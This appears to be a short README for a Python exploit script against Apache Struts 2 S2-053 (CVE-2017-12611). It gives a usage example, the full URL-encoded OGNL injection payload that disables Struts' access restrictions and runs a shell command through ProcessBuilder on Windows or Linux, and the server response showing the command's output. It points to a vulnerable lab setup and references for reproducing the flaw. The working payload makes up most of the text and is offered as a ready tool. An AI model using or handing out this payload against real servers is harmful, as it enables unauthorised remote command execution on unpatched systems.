# S2-053-CVE-2017-12611 A simple script for exploit RCE for Struts 2 S2-053(CVE-2017-12611) # Usage exploit.py # Example $ python s2-053-exploit.py "http://127.0.0.1" "name" "uname -a" [*] Generated EXP: http://127.0.0.1/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27uname%20-a%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D [*] Exploiting... [+] Response: S2-053 Demo

S2-053 Demo

Your name: Linux a66c177c2326 4.4.0-70-generic ;jsessionid=64A259D92EC63543AD72E6AA847319C9#91-Ubuntu SMP Wed Mar 22 12:47:43 UTC 2017 x86_64 GNU/Linux

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See more at: VulApps - S2-053

[+] Exploit Finished! # Vuln Env * S3-053 # Reference * S2-053 复现分析过程(附POC) * S2-053

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